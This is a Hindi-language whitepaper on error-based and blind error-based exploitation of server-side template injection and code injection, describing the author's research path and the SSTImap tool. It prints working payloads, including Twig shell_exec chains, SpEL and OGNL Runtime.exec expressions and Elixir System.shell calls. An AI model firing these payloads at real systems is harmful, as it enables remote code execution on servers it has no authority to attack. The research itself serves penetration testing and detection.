vladko312/research_successful_errorsव्हाइटपेपर जो SSTI और कोड इंजेक्शन के लिए Error-Based और Boolean Error-Based Blind तकनीकों का परिचय देता है, जिसमें छह प्रोग्रामिंग भाषाओं के लिए यूनिवर्सल पेलोड और SSTImap में एकीकरण शामिल है।
[!NOTE] यह श्वेतपत्र का दूसरा संस्करण है, जो SSTImap संस्करण 1.3.1 जारी करने से पहले प्रस्तुत किए गए परिणामों पर आधारित है। आगे के सुधारों को बाद में अनुसंधान के संस्करण 1.2 के रूप में इस प्रारूप में अनुकूलित किया जाएगा।
भेद्यता की कुछ श्रेणियाँ पहली नज़र में सुप्रसिद्ध और कुछ हद तक स्पष्ट लग सकती हैं। ऐसा लग सकता है कि उन भेद्यताओं के लिए सभी संभावित तकनीकें ज्ञात हैं, इसलिए केवल असामान्य मामलों के लिए पेलोड ही खोजे जा सकते हैं। सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) और कोड इंजेक्शन को अक्सर उन सुप्रसिद्ध श्रेणियों में माना जाता है।
कभी-कभी, उन भेद्यताओं के लिए स्व-व्याख्यात्मक नामों वाली नई तकनीकों का सामना होता है। कई शोधकर्ता उन तकनीकों को भी सुप्रसिद्ध मान सकते हैं या उनका उपयोग करना भी याद कर सकते हैं, लेकिन वास्तव में, तकनीक केवल एक सामान्य रूप से समझे जाने वाले नाम के रूप में मौजूद हो सकती है, जिसमें कोई शोध, विवरण या सार्वभौमिक पेलोड नहीं होते हैं। इसका उल्लेख कुछ बार बहुत विशिष्ट मामलों के पेलोड के साथ किया जा सकता है, लेकिन इसका परीक्षण नहीं किया जाएगा और उस तकनीक की वास्तविक क्षमता वर्षों तक अनदेखी रह सकती है।
यह शोध कोड इंजेक्शन और SSTI के लिए दो ऐसी तकनीकें प्रस्तुत करता है: एरर-बेस्ड और बूलियन एरर-बेस्ड ब्लाइंड। मैं छह प्रोग्रामिंग भाषाओं: Python, PHP, Java, Ruby, NodeJS और Elixir में कोड इंजेक्शन और SSTI के लिए पेलोड प्रदान करूँगा। इसके अलावा, मैं सार्वभौमिक डिटेक्शन पेलोड प्रदान करूँगा, जो ब्लाइंड इंजेक्शन का भी तुरंत पता लगाने में सक्षम हैं।
मैं अपने शोध की पूरी समयरेखा प्रदान करूँगा, प्रारंभिक सुरागों से लेकर अंतिम निष्कर्षों तक। मैं उन प्रोग्रामिंग भाषाओं और टेम्पलेट्स के लिए नए पेलोड बनाने की प्रक्रिया का भी पता लगाऊँगा, जिनका इस शोध में उल्लेख नहीं किया गया है।
इस शोध में मैं नई तकनीकों के व्यावहारिक अनुप्रयोगों के उदाहरण दिखाऊँगा और आगे के शोध के संभावित क्षेत्रों को साझा करूँगा। सभी प्रदान किए गए पेलोड का उपयोग वास्तविक दुनिया के अनुप्रयोगों में भेद्यताओं का पता लगाने और उनका शोषण करने के लिए किया जा सकता है। इसके अतिरिक्त, सभी प्रदान किए गए पेलोड को ओपन-सोर्स टूल SSTImap में जोड़ा गया, जिससे इस शोध के परिणामों को वास्तविक दुनिया के लक्ष्यों पर लागू करना आसान हो जाता है।
सर्वर-साइड टेम्पलेट इंजेक्शन भेद्यताएँ गतिशील वेबसाइटों पर दिखाई देती हैं जो सर्वर-साइड रेंडरिंग के लिए टेम्पलेट इंजन का उपयोग करती हैं, जब अविश्वसनीय उपयोगकर्ता इनपुट को टेम्पलेट में डाला जाता है, इससे पहले कि इसे टेम्पलेट इंजन द्वारा संसाधित किया जाए। एक दुर्भावनापूर्ण अभिनेता वैध टेम्पलेट सिंटैक्स सम्मिलित कर सकता है, जिसे पेज रेंडरिंग के दौरान टेम्पलेट इंजन द्वारा संसाधित किया जाएगा। कई टेम्पलेट इंजन कुछ प्रकार की कोड निष्पादन कार्यक्षमता प्रदान करते हैं, जो अक्सर लक्ष्य सर्वर पर रिमोट कोड एक्जीक्यूशन (RCE) की ओर ले जाता है। यह शोध उन टेम्पलेट इंजनों पर केंद्रित है जो शोषण के मामले में ऐसी क्षमताएँ प्रदान करते हैं।
SSTI भेद्यताएँ 2015 से ज्ञात हैं, और उस समय में बहुत सारे पेलोड खोजे गए जो सूचना निष्कर्षण, फ़िल्टर बाइपास और सैंडबॉक्स एस्केपिंग प्रदान करते हैं। इसके बावजूद, अधिकांश पेलोड या तो परिणाम को सीधे पृष्ठ पर प्रस्तुत करते हैं या कोड निष्पादन के तथ्य पर ध्यान केंद्रित करते हैं, उस कोड द्वारा उत्पादित परिणामों को छोड़ देते हैं।
एक और प्रसिद्ध SSTI तकनीक टाइम-बेस्ड ब्लाइंड है, जिसमें निष्पादित शेल कमांड में विलंब जोड़ना शामिल है। यह तकनीक इंजेक्ट किए गए कोड निष्पादन की सफलता का निर्धारण करने की अनुमति देती है, लेकिन OS कमांड निष्पादन के लिए पेलोड का अनुमान लगाने की आवश्यकता होती है, जो शोधकर्ता के लिए अज्ञात टेम्पलेट इंजन में ब्लाइंड SSTI का पता लगाना कठिन बना देती है।
SSTI भेद्यता वर्ग और दोनों ज्ञात शोषण तकनीकों की खोज 2015 में जेम्स केटल (James Kettle) ने की थी। उन तकनीकों का उनके शोध "सर्वर-साइड टेम्पलेट इंजेक्शन: आधुनिक वेब ऐप के लिए RCE" में बहुत विस्तार से वर्णन किया गया है। [^1] उसके बाद दस वर्षों में, कोई नई शोषण तकनीक दस्तावेज़ित नहीं की गई। 2023 में केवल एक डिटेक्शन तकनीक की खोज की गई, जो एक साथ कई टेम्पलेट इंजनों के परीक्षण के लिए पॉलीग्लॉट पेलोड का उपयोग करती है। यह तकनीक मैक्सिमिलियन हिल्डेब्रांड (Maximilian Hildebrand) द्वारा खोजी गई और उनके शोध "बड़े पैमाने पर टेम्पलेट इंजेक्शन स्कैनिंग के लिए टेम्पलेट इंजनों का पता लगाने और पहचान में सुधार" में वर्णित है। [^2] यह तकनीक न्यूनतम अनुरोधों का उपयोग करके टेम्पलेट इंजनों को निर्धारित करने पर केंद्रित है, लेकिन केवल सरल इंजेक्शन संदर्भों के लिए काम करती है।
अधिकांश टेम्पलेट इंजन व्याख्यात्मक प्रोग्रामिंग भाषाओं जैसे PHP, NodeJS और Python पर आधारित होते हैं, सीधे संबंधित प्रोग्रामिंग भाषाओं के भावों का मूल्यांकन करने की अनुमति देते हैं। यह क्षमता हमें टेम्पलेट टैग के सही प्रारूप में लपेटकर व्यापक कोड इंजेक्शन भेद्यता श्रेणी के पेलोड का उपयोग करने की अनुमति देती है।
कोड इंजेक्शन SSTI के बिना भी हो सकता है, जब अविश्वसनीय उपयोगकर्ता इनपुट eval() या समान खतरनाक फ़ंक्शन तक पहुँच सकता है।
अक्सर यह माना जाता है कि कोड इंजेक्शन का शोषण संबंधित भाषा में प्रोग्रामिंग मात्र है,
इसलिए तकनीकों और पेलोड को केवल विशिष्ट भेद्यता उदाहरणों के लिए दस्तावेज़ित किया जाता है, जिनमें लक्ष्य अनुप्रयोग के लिए कोड को अनुकूलित करने की आवश्यकता होती है।
कोड इंजेक्शन और SSTI के लिए अधिक सार्वभौमिक डिटेक्शन तकनीकों की कमी ब्लाइंड कोड और टेम्पलेट इंजेक्शन के लिए ब्लैक बॉक्स स्कैनिंग की अक्षमता की ओर ले जाती है।
इस शोध में, कोड इंजेक्शन और SSTI के लिए दो नई तकनीकें, साथ ही छह प्रोग्रामिंग भाषाओं के लिए पेलोड और जेनेरिक डिटेक्शन पेलोड प्रदान किए जाएंगे। प्रदान की गई तकनीकें ब्लाइंड SSTI शोषण की क्षमताओं का विस्तार करेंगी, साथ ही इंजेक्ट किए गए कोड की प्रोग्रामिंग भाषा का अनुमान लगाए बिना ब्लाइंड कोड इंजेक्शन और SSTI स्कैनिंग की अनुमति देंगी।
इस शोध में प्रदान किए गए पेलोड वास्तविक दुनिया के वेब अनुप्रयोगों के व्यावहारिक पेनिट्रेशन टेस्टिंग के उद्देश्य से हैं। सभी प्रस्तुत पेलोड को SSTI और कोड इंजेक्शन का पता लगाने के लिए ओपन-सोर्स टूल SSTImap के मॉड्यूल में भी शामिल किया गया है। [^3] संस्करण 1.3.0 में दो नई तकनीकों और संबंधित पेलोड के लिए समर्थन जोड़ा गया। इस शोध में प्रदान की गई नई तकनीकों के व्यावहारिक अनुप्रयोग के लिए कम सामान्य और अधिक विशिष्ट पेलोड, अतिरिक्त SSTImap मॉड्यूल में शामिल किए गए हैं, जो "extra" मॉड्यूल के लिए समर्पित भंडार में पाए जा सकते हैं। [^4]
SSTImap मॉड्यूल के लिए पेलोड विकसित करने के दौरान, मुझे सीमाओं और खोजों का सामना करना पड़ा जो इस शोध में प्रस्तुत तकनीकों की ओर ले जाने वाले सुराग के रूप में काम करते हैं। मुझे विभिन्न SSTI और कोड इंजेक्शन परिदृश्यों का सामना करना पड़ा, जहाँ मौजूदा तकनीकों का उपयोग करके इंजेक्ट किए गए कोड से आउटपुट प्राप्त करना असंभव था। ऐसी बाधाओं का सामना करते हुए, मैंने आउटपुट प्राप्त करने के लिए विभिन्न विचारों का परीक्षण किया, जो अंततः इस शोध में दस्तावेज़ित दो नई तकनीकों की खोज की ओर ले गया।
संभावित सीमाओं का संकेत देने वाला पहला सुराग तब मिला जब मैं Dust.JS टेम्पलेट इंजन के लिए पेलोड अपडेट कर रहा था। यह इंजन पुराना माना जाता है और परित्यक्त प्रतीत होता है, जबकि कोड निष्पादन केवल 2015 से dustjs-helpers के पुराने संस्करणों के साथ संभव था। इस इंजन के लिए SSTImap मॉड्यूल Tplmap [^5] कोडबेस से विरासत में मिला था और इसे सुधारना कम प्राथमिकता वाला कार्य था, लेकिन मॉड्यूल सरल लॉजिकलेस टेम्पलेट इंजनों के मामले में बहुत सारे गलत सकारात्मक परिणाम देता था।
समस्या को ठीक करने के लिए, मैंने पेलोड में सुधार किया, लेकिन टेम्पलेट इंजन और इसके लिए पेलोड ने मेरा ध्यान आकर्षित किया।
if ब्लॉक की स्थिति के अंदर कोड इंजेक्शन संभव था, जिसे सीधे eval() में पास किया गया था। [^6]
परिणाम पृष्ठ पर प्रदर्शित नहीं हुआ, इसलिए यह माना गया कि रिफ्लेक्टेड SSTI के मामले में भी RCE हमेशा ब्लाइंड होगा।
उस समय, एक पुराने टेम्पलेट इंजन पर शोध करके नया पेलोड बनाना मेरी प्राथमिकता सूची में बहुत नीचे था, इसलिए मैंने आउटपुट प्राप्त करने के किसी भी संभावित तरीके की जाँच नहीं करने का निर्णय लिया।
दूसरा सुराग मुझे Twig टेम्पलेट इंजन के नए संस्करणों के लिए पेलोड विकसित करते समय मिला। प्रारंभिक संस्करणों के लिए पेलोड पहले से ही तय किए गए थे, इसलिए मैंने अपडेटेड पेलोड के साथ एक नया मॉड्यूल बनाने का निर्णय लिया। Twig के शोषण के अधिक आधुनिक तरीकों की खोज के दौरान, मैंने CVE-2022-23614 की खोज की, जो आधुनिक संस्करणों के लिए सामान्य पेलोड में से एक का उपयोग करके सैंडबॉक्स बाईपास की अनुमति देता है। [^7]
नए SSTImap मॉड्यूल के लिए मैंने उस सैंडबॉक्स बाईपास शोषण में सक्षम पेलोड का उपयोग करने का निर्णय लिया, क्योंकि यह आधुनिक पेलोड द्वारा शोषण योग्य लगभग सभी Twig संस्करणों के लिए भी काम करता था।
सैंडबॉक्स बाईपास PHP फ़ंक्शन नाम वाली एक स्ट्रिंग को |sort फ़िल्टर में पैरामीटर के रूप में पास करके संभव था,
जिससे टेम्पलेट उस फ़ंक्शन को दो ऐरे तत्वों के साथ तर्क के रूप में कॉल करता था।
Dust.JS के मामले की तरह, फ़ंक्शन का आउटपुट आंतरिक रूप से एक स्थिति के रूप में उपयोग किया जाता है (इस बार ऐरे को सॉर्ट करने के लिए), इसलिए इसे टेम्पलेट संदर्भ में वापस नहीं भेजा जाता है।
यह सीमा शोषण में बाधा नहीं डालती है, क्योंकि PHP में system() फ़ंक्शन OS कमांड निष्पादन के परिणामों को सीधे वेब पेज पर आउटपुट करता है, जो हमें टेम्पलेट इंजन को बायपास करके आउटपुट प्राप्त करने की अनुमति देता है।
मुझे किसी बाईपास या नई SSTI शोषण तकनीक के भाग के रूप में संभावित अनुप्रयोग के लिए टेम्पलेट इंजन के अंदर आउटपुट प्राप्त करने की संभावना के बारे में उत्सुकता हुई। Twig के लिए एक नया मॉड्यूल बनाने के लिए इसकी आवश्यकता नहीं थी, इसलिए मैंने टेम्पलेट के भीतर इंजेक्शन परिणाम तक पहुँचने के लिए नए पेलोड विकसित करने में कोई समय न लगाने का निर्णय लिया।
Node.JS मॉड्यूल JSONPath Plus में संस्करण 10.3.0 से पहले CVE-2025-1302 भेद्यता jsonpath के लिए विस्तारित स्थिति सिंटैक्स के अंदर फ़ंक्शन कंस्ट्रक्टर तक पहुँच कर मनमाना JavaScript कोड इंजेक्ट करने की अनुमति देती है। [^8] मैंने सर्वर-साइड jsonpath इंजेक्शन के मामले में CVE-2025-1302 के स्वचालित डिटेक्शन और शोषण के लिए एक नया अतिरिक्त SSTImap मॉड्यूल बनाने का निर्णय लिया।
Dust.JS की तरह, कोड इंजेक्शन केवल स्थिति के अंदर ही संभव था, इसलिए आउटपुट प्राप्त करने और इसे पृष्ठ पर प्रस्तुत करने का कोई सीधा तरीका नहीं था। इसके बावजूद, मैंने आउटपुट निकालने की संभावना पर शोध करने का निर्णय लिया, जो अंततः मुझे तीसरे सुराग की ओर ले गया, जो उस क्षमता का संकेत देता था जिसने अंततः इस शोध में चर्चित खोजों का कारण बना।
JSONPath Plus मॉड्यूल का उपयोग JSON ऑब्जेक्ट्स के भीतर डेटा तक पहुँचने के लिए किया जाता है।
कई व्याख्यात्मक प्रोग्रामिंग भाषाओं जैसे JavaScript में, वे ऑब्जेक्ट अक्सर संसाधन खपत को सीमित करने के लिए निहित रूप से पॉइंटर्स के रूप में काम करते हैं।
साथ ही, JSONPath Plus मॉड्यूल @root सिंटैक्स का उपयोग करके खोजे जा रहे ऑब्जेक्ट तक पहुँचने की अनुमति देता है।
मुझे उस ऑब्जेक्ट को स्थिति के अंदर इंजेक्ट किए गए कोड में पास करने का एक तरीका मिला, जिसने आउटपुट को ऑब्जेक्ट विशेषताओं के अंदर सहेजने और फिर इंजेक्ट किए गए jsonpath सिंटैक्स का उपयोग करके उन तक पहुँचने की अनुमति दी।
यह विधि आउटपुट तक पहुँचने के एक सार्वभौमिक तरीके से बहुत दूर है क्योंकि यह रिफ्लेक्टेड कोड इंजेक्शन परिदृश्यों के लिए शोषण योग्य इंजेक्शन संदर्भों को भारी रूप से सीमित करती है। मैंने आउटपुट निकालने के अन्य संभावित तरीकों, जैसे प्रोटोटाइप प्रदूषण, पर शोध किया, लेकिन मैं अधिक सार्वभौमिक तकनीक की खोज करने में असमर्थ रहा। इसके बावजूद, इस बार मैं स्थिति से आउटपुट निकालने में सक्षम था।
पिछले सभी मामलों के विपरीत, जहाँ पेलोड विकास के दौरान सीमाओं का सामना किया गया था, इस शोध की ओर ले जाने वाला अंतिम सुराग एक वास्तविक दुनिया के अनुप्रयोग की खोज करते समय खोजा गया था। मैं Discord के लिए एक नो-कोड बॉट कंस्ट्रक्टर का परीक्षण कर रहा था, जो उपयोगकर्ताओं को संदेश टेम्पलेट्स को अनुकूलित करने की अनुमति देता था। अपने आप में, उस उद्देश्य के लिए उपयोग किया जाने वाला टेम्पलेट इंजन किसी भी कोड का मूल्यांकन नहीं कर रहा था, लेकिन इसमें गणितीय अभिव्यक्तियों का मूल्यांकन करने के लिए एक समर्पित टैग था।
उस टैग द्वारा लौटाए गए विभिन्न त्रुटि संदेशों की जाँच करके, मैंने निर्धारित किया कि अभिव्यक्तियों का मूल्यांकन expr-eval नामक Node.JS मॉड्यूल का उपयोग करके किया गया था।
यह मॉड्यूल ऑब्जेक्ट कंस्ट्रक्टर तक पहुँच के माध्यम से RCE की अनुमति देता है, जो मनमाना गुण एक्सेस (CVE-2025-13204) की अनुमति देता है।
मैंने टेम्पलेट टैग के सिंटैक्स को तोड़ने से बचने के लिए पेलोड को संशोधित किया, लेकिन कोड निष्पादन परिणामों के बजाय मुझे केवल NaN मिला।
ऐसा प्रतीत होता है कि expr-eval से परिणाम टेम्पलेट इंजन द्वारा एक संख्या में बदल दिया जाता है, जो कोड निष्पादन आउटपुट के प्रतिबिंब को रोकता है। हालाँकि, सफल मूल्यांकन के मामले में ही परिणाम को एक संख्या में बदला जाता है। त्रुटि के मामले में, टेम्पलेट टैग को त्रुटि के पूर्ण पाठ के साथ प्रतिस्थापित करता है, जिसमें कभी-कभी मेरे कोड का कुछ भाग होता है।
मैंने त्रुटि संदेशों के उन भागों के माध्यम से कोड निष्पादन परिणाम निकालने की संभावना की जाँच करने का निर्णय लिया। एक तकनीक मौजूद है जो विशिष्ट रूप से ट्रिगर की गई त्रुटि संदेशों के माध्यम से SQL क्वेरीज़ के निष्कर्षण की अनुमति देती है। [^9] मैंने मान लिया कि कोड इंजेक्शन और SSTI के लिए समान तकनीकें मौजूद थीं।
मैंने "एरर-बेस्ड SSTI" और ऐसी SSTI और कोड इंजेक्शन तकनीकों के अन्य संभावित नामों की खोज करने का प्रयास किया, हालाँकि मैं 2023 के एक शोध पत्र से केवल एरर-बेस्ड पॉलीग्लॉट और त्रुटि संदेश को देखकर टेम्पलेट इंजन निर्धारित करने की एक तकनीक खोज पाया। एकमात्र परिणाम जो मैं जो खोज रहा था उससे कुछ हद तक समान था, वह शोधकर्ता निकोलस वर्डियर (Nicolas Verdier) द्वारा बनाया गया Freemarker टेम्पलेट्स के लिए एक पेलोड था। [^10]
उस पेलोड ने सशर्त रूप से त्रुटि ट्रिगर करके ब्लाइंड इंजेक्शन के मामले में कोड निष्पादन की सफलता निर्धारित करने की अनुमति दी। SQL इंजेक्शन के लिए एक समान तकनीक मौजूद है, जिसने मेरी धारणा की पुष्टि की कि समान तकनीकें कोड इंजेक्शन और SSTI के लिए भी काम कर सकती हैं।
मुझे एहसास हुआ कि मैं जिस तकनीक की तलाश कर रहा था वह पहले दस्तावेज़ित नहीं की गई थी, इसलिए मैंने आवश्यक पेलोड विकसित करने के लिए यह शोध करने का निर्णय लिया। इसके अलावा, मैंने उस तकनीक को अपने ओपन-सोर्स टूल SSTImap में जोड़ने का निर्णय लिया।
मैंने ऐसे पेलोड विकसित करने का निर्णय लिया जो हमें त्रुटि संदेश के भाग के रूप में कोड निष्पादन परिणाम वाली त्रुटियों को ट्रिगर करने की अनुमति देंगे।
SQL इंजेक्शन के लिए एक समान तकनीक पहले से मौजूद है।
उदाहरण के लिए, SQL में CONVERT(INT, …) एक स्ट्रिंग को एक संख्या में बदलता है।
यदि स्ट्रिंग एक वैध संख्या का प्रतिनिधित्व नहीं करती है, तो डेटाबेस एक त्रुटि टेक्स्ट लौटाएगा जिसमें वह स्ट्रिंग शामिल होगी।
यदि वह त्रुटि संदेश उपयोगकर्ता को प्रदर्शित किया जाता है, तो हम अन्यथा ब्लाइंड इंजेक्शन से भी आउटपुट प्राप्त कर सकते हैं।
SSTI और कोड इंजेक्शन के लिए एक समान दृष्टिकोण का उपयोग किया जा सकता है। कुछ त्रुटि संदेश उपयोगकर्ता द्वारा प्रदान किए गए डेटा को दर्शाते हैं, जो हमें इंजेक्ट किए गए कोड का आउटपुट प्राप्त करने के लिए उन त्रुटियों का उपयोग करने की अनुमति देता है।
प्रोग्रामिंग भाषाएँ आमतौर पर उपयोगकर्ताओं को कस्टम त्रुटि संदेशों के साथ त्रुटियाँ बनाने की अनुमति देती हैं, लेकिन भेद्यता शोषण के दौरान उन क्षमताओं का सीधे उपयोग करना अक्सर असंभव होता है। अधिकांश मामलों में, इंजेक्शन केवल अभिव्यक्ति मूल्यांकन की अनुमति देता है, जो इंजेक्ट किए गए कोड को त्रुटियाँ उठाने या नई त्रुटि कक्षाएँ बनाने के लिए आवश्यक भाषा निर्माणों का उपयोग करने से रोकता है। अपने पेलोड को बेहतर कवरेज के लिए अधिक सार्वभौमिक बनाने के लिए, मैंने भाषा अभिव्यक्ति संदर्भों में इंजेक्शन पर ध्यान केंद्रित करने का निर्णय लिया, जहाँ केवल बुनियादी ऑपरेटरों, शाब्दिक मानों और फ़ंक्शन कॉल की अनुमति है।
इसलिए, इस तकनीक का उपयोग करके SSTI और कोड इंजेक्शन शोषण के लिए मुझे ऐसे त्रुटि संदेश खोजने थे जो उपयोगकर्ता द्वारा प्रदान किए गए डेटा को दर्शाते हों। अधिकांश मामलों में, कोड इंजेक्शन पेलोड का उपयोग SSTI के शोषण के लिए पेलोड को टेम्पलेट टैग के साथ लपेटकर किया जा सकता है। इस शोध के भाग के रूप में, मैं पाँच प्रोग्रामिंग भाषाओं: Python, PHP, Ruby, NodeJS और Elixir के लिए पेलोड कवर करूँगा, साथ ही SSTImap द्वारा समर्थित टेम्पलेट इंजनों के लिए, यदि ऐसे पेलोड संबंधित प्रोग्रामिंग भाषा के पेलोड से महत्वपूर्ण रूप से भिन्न होते हैं। इसके अतिरिक्त, Java-आधारित टेम्पलेट इंजनों के लिए पेलोड, साथ ही सार्वभौमिक डिटेक्शन पेलोड भी इस पेपर में शामिल किए जाएंगे।
अपने शोध की शुरुआत में, मैंने Python प्रोग्रामिंग भाषा के लिए पेलोड खोजने का निर्णय लिया, जिसका उपयोग मैं अपने दैनिक कार्यों में अक्सर करता हूँ। शुरुआत में मैंने SQL इंजेक्शन के समान सिद्धांत को लागू करने का प्रयास किया, स्ट्रिंग को पूर्णांक में बदलकर। उस स्थिति में, त्रुटि संदेश वास्तव में उपयोगकर्ता द्वारा प्रदान की गई स्ट्रिंग को दर्शाता है, लेकिन मुझे जल्द ही पता चला कि बड़ी स्ट्रिंग्स काट दी जाती हैं, इसलिए केवल पहले 199 वर्ण ही दर्शाए जा सकते हैं।
मैंने अन्य त्रुटि संदेशों की तलाश करने का निर्णय लिया जो मनमानी लंबाई की उपयोगकर्ता-प्रदत्त स्ट्रिंग्स के प्रतिबिंब की अनुमति देंगे।
getattr() फ़ंक्शन का उपयोग करके एक गैर-मौजूद विशेषता तक पहुँचने से ऐसी त्रुटि उत्पन्न हुई।
परिणामस्वरूप, मुझे getattr("", OUTPUT) एक पेलोड के रूप में मिला, जो बिना किसी लंबाई प्रतिबंध के स्ट्रिंग OUTPUT को दर्शाता है।
यह पेलोड सभी परीक्षण किए गए Python-आधारित टेम्पलेट इंजनों के लिए काम करता है, हालाँकि Jinja2 को Python getattr() फ़ंक्शन को कॉल करने के लिए कुछ संशोधनों की आवश्यकता थी:```python3
{{ cycler.init.globals.builtins.getattr("", OUTPUT) }}
इसके अतिरिक्त, Jinja2 टेम्पलेट इंजन के लिए मैंने एक और पेलोड खोजा जो *TemplateNotFound* त्रुटि उत्पन्न करता है: `{% include OUTPUT %}`।
यह पेलोड SSTImap के पुराने Jinja2 मॉड्यूल में जोड़ा गया था।
### PHP
PHP कोड इंजेक्शन के एरर-आधारित शोषण के लिए मैंने कई त्रुटि संदेश खोजे जिनकी विभिन्न टेम्पलेट इंजनों के लिए अलग-अलग लागूता थी।
उदाहरण के लिए, PHP एक स्ट्रिंग को फ़ंक्शन के रूप में कॉल करने की अनुमति देता है जिसका नाम स्ट्रिंग सामग्री के बराबर होता है।
यदि ऐसा फ़ंक्शन मौजूद नहीं है, तो उत्पन्न त्रुटि संदेश में पूरी प्रदान की गई स्ट्रिंग शामिल होगी।
परिणामस्वरूप, हमें एक सरल पेलोड मिलता है: `OUTPUT()`
वह पेलोड अधिकांश टेम्पलेट इंजनों में काम नहीं करता, इसलिए मैंने अपना शोध जारी रखा और `fopen()` फ़ंक्शन का उपयोग करके मौजूद नहीं फ़ाइलों को खोलने का प्रयास करने से उत्पन्न त्रुटि की खोज की।
यह पेलोड लगभग सभी परीक्षण किए गए टेम्पलेट इंजनों में काम करता है: `fopen(OUTPUT, "r")`
इसके अतिरिक्त, मैंने `include()` फ़ंक्शन पाया जो समान त्रुटि उत्पन्न करता है।
पेलोड `include(OUTPUT)` या इसी तरह का पेलोड अधिकांश टेम्पलेट इंजनों में उपयोग किया जा सकता है जो टेम्पलेट इनहेरिटेंस क्षमताएँ प्रदान करते हैं।
`fopen()` और `include()` का उपयोग करने वाले पेलोड कुछ मामलों में विफल रहे।
यह पता चला कि वे फ़ंक्शन PHP **चेतावनियाँ** उत्पन्न करते हैं जो टेम्पलेट आउटपुट के अंदर प्रस्तुत हो सकती हैं जिस तक हमारी पहुँच नहीं है।
मैंने पहले पेलोड को `call_user_func()` का उपयोग करके संशोधित करने का निर्णय लिया ताकि PHP-विशिष्ट सिंटैक्स का उपयोग किए बिना एक स्ट्रिंग को फ़ंक्शन के रूप में कॉल किया जा सके।
परिणामस्वरूप, मुझे पेलोड मिला: `call_user_func(OUTPUT)`, जो एक **घातक त्रुटि** उत्पन्न करता है, रेंडरिंग को बाधित करता है और त्रुटि संदेश को सीधे पृष्ठ पर दर्शाता है।
RCE के लिए सामान्यतः उपयोग किया जाने वाला `system()` फ़ंक्शन आउटपुट को पृष्ठ पर प्रिंट करता है, लेकिन केवल परिणाम की पहली पंक्ति लौटाता है।
पूर्ण आउटपुट कैप्चर करने के लिए मैंने `shell_exec()` का उपयोग करने का निर्णय लिया।
यह फ़ंक्शन ठीक एक तर्क स्वीकार करता है, इसलिए यह अधिकांश टेम्पलेट इंजनों के लिए अच्छा काम करता है, जिसमें **Twig** के पुराने संस्करण शामिल हैं:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}
नए Twig संस्करणों के लिए मैंने आउटपुट संरक्षित करने के लिए |map फ़िल्टर का उपयोग किया, लेकिन इसने सरणी इंडेक्स को दूसरे तत्व के रूप में पास कर दिया, जिससे shell_exec() फ़ंक्शन का सीधे उपयोग असंभव हो गया। उस सीमा को दरकिनार करने के लिए मैंने call_user_func() फ़ंक्शन का उपयोग करके shell_exec() को कॉल किया और एक सरणी के बजाय एक शब्दकोश का उपयोग किया ताकि इंडेक्स मान नियंत्रित हो सकें:```php
{% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}
To trigger the error in Twig and get the execution results we can use the **fatal error** payload that triggers the nonexistent function: `{{ [0]|map(OUTPUT) }}` or includes the nonexistent file: `{% include(OUTPUT) %}`
### Java
Java एक सार्वभौमिक अंतर्निहित कोड मूल्यांकन कार्यक्षमता प्रदान नहीं करता है, इसलिए Java के लिए कोई सार्वभौमिक पेलोड नहीं हैं।
इसके बजाय, अभिव्यक्ति भाषाएँ, जैसे **Spring Expression Language** (**SpEL**) का उपयोग किया जाता है।
उस भाषा के लिए स्ट्रिंग को संख्या में बदलने की एक सरल ट्रिक का उपयोग करना संभव है:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)
यह पेलोड अन्य समान एक्सप्रेशन लैंग्वेजेस के लिए भी काम करेगा।
SpEL सिंटैक्स की जांच करने के लिए, हम क्लासेस तक पहुँचने के लिए SpEL-विशिष्ट तरीके का उपयोग कर सकते हैं: T(java.lang.Integer).valueOf(OUTPUT)
OS कमांड निष्पादन के परिणामों को एक स्ट्रिंग के रूप में प्राप्त करने के लिए, हम पेलोड का उपयोग कर सकते हैं:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())
जावा में उपयोग की जाने वाली एक अन्य सामान्य अभिव्यक्ति भाषा **OGNL** है।
यह भाषा एक त्रुटि उत्पन्न करती है जिसमें उपयोगकर्ता-प्रदत्त स्ट्रिंग शामिल होती है, जब वह स्ट्रिंग अंकगणितीय संक्रिया में उपयोग की जाती है: `OUTPUT/0`
RCE परिणाम को इस पेलोड का उपयोग करके स्ट्रिंग में परिवर्तित किया जा सकता है:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())
मैंने SSTImap द्वारा समर्थित दो जावा-आधारित टेम्पलेट इंजनों के लिए पेलोड भी बनाए।
उदाहरण के लिए, Freemarker टेम्पलेट उस स्ट्रिंग में ?new() फ़िल्टर लागू करके सीमित ऑब्जेक्ट निर्माण की अनुमति देते हैं जिसमें संबंधित क्लास का नाम होता है।
यदि ऐसी कोई क्लास मौजूद नहीं है, तो त्रुटि संदेश पूरी स्ट्रिंग को दर्शाएगा।
इसका उपयोग एक सरल पेलोड बनाने के लिए किया जा सकता है: ${ OUTPUT?new() }
Velocity टेम्पलेट इंजन #include() निर्देश का उपयोग करके टेम्पलेट समावेशन का समर्थन करता है।
अस्तित्वहीन टेम्पलेट्स के लिए, त्रुटि संदेश दिए गए नाम को दर्शाएगा: #include(OUTPUT)
Ruby के लिए पेलोड का उपयोग कोड इंजेक्शन और SSTI दोनों के लिए किया जा सकता है और यह उस त्रुटि का उपयोग करता है जो किसी अस्तित्वहीन फ़ाइल तक पहुँचने पर ट्रिगर होती है, जो इस तकनीक के लिए सामान्य है: File.read(OUTPUT)
NodeJS में त्रुटि-आधारित कोड इंजेक्शन के लिए, यदि इंजेक्शन संदर्भ में सुलभ हो, तो require() फ़ंक्शन का उपयोग करके एक अस्तित्वहीन मॉड्यूल शामिल करके त्रुटि ट्रिगर करना संभव है: require(OUTPUT)
वैकल्पिक रूप से, जावास्क्रिप्ट undefined की एक प्रॉपर्टी तक पहुँचकर एक परावर्तक त्रुटि ट्रिगर करता है: ""["x"][OUTPUT]
Elixir प्रोग्रामिंग भाषा उस स्ट्रिंग को त्रुटि संदेश के अंदर दर्शाती है जब वह स्ट्रिंग atom ऑब्जेक्ट के बजाय सूची अनुक्रमणिका के रूप में उपयोग की जाती है: [1, 2][OUTPUT]
OS कमांड निष्पादन के परिणाम को [1, 2][elem(System.shell(" … "), 0)] का उपयोग करके दर्शाया जा सकता है
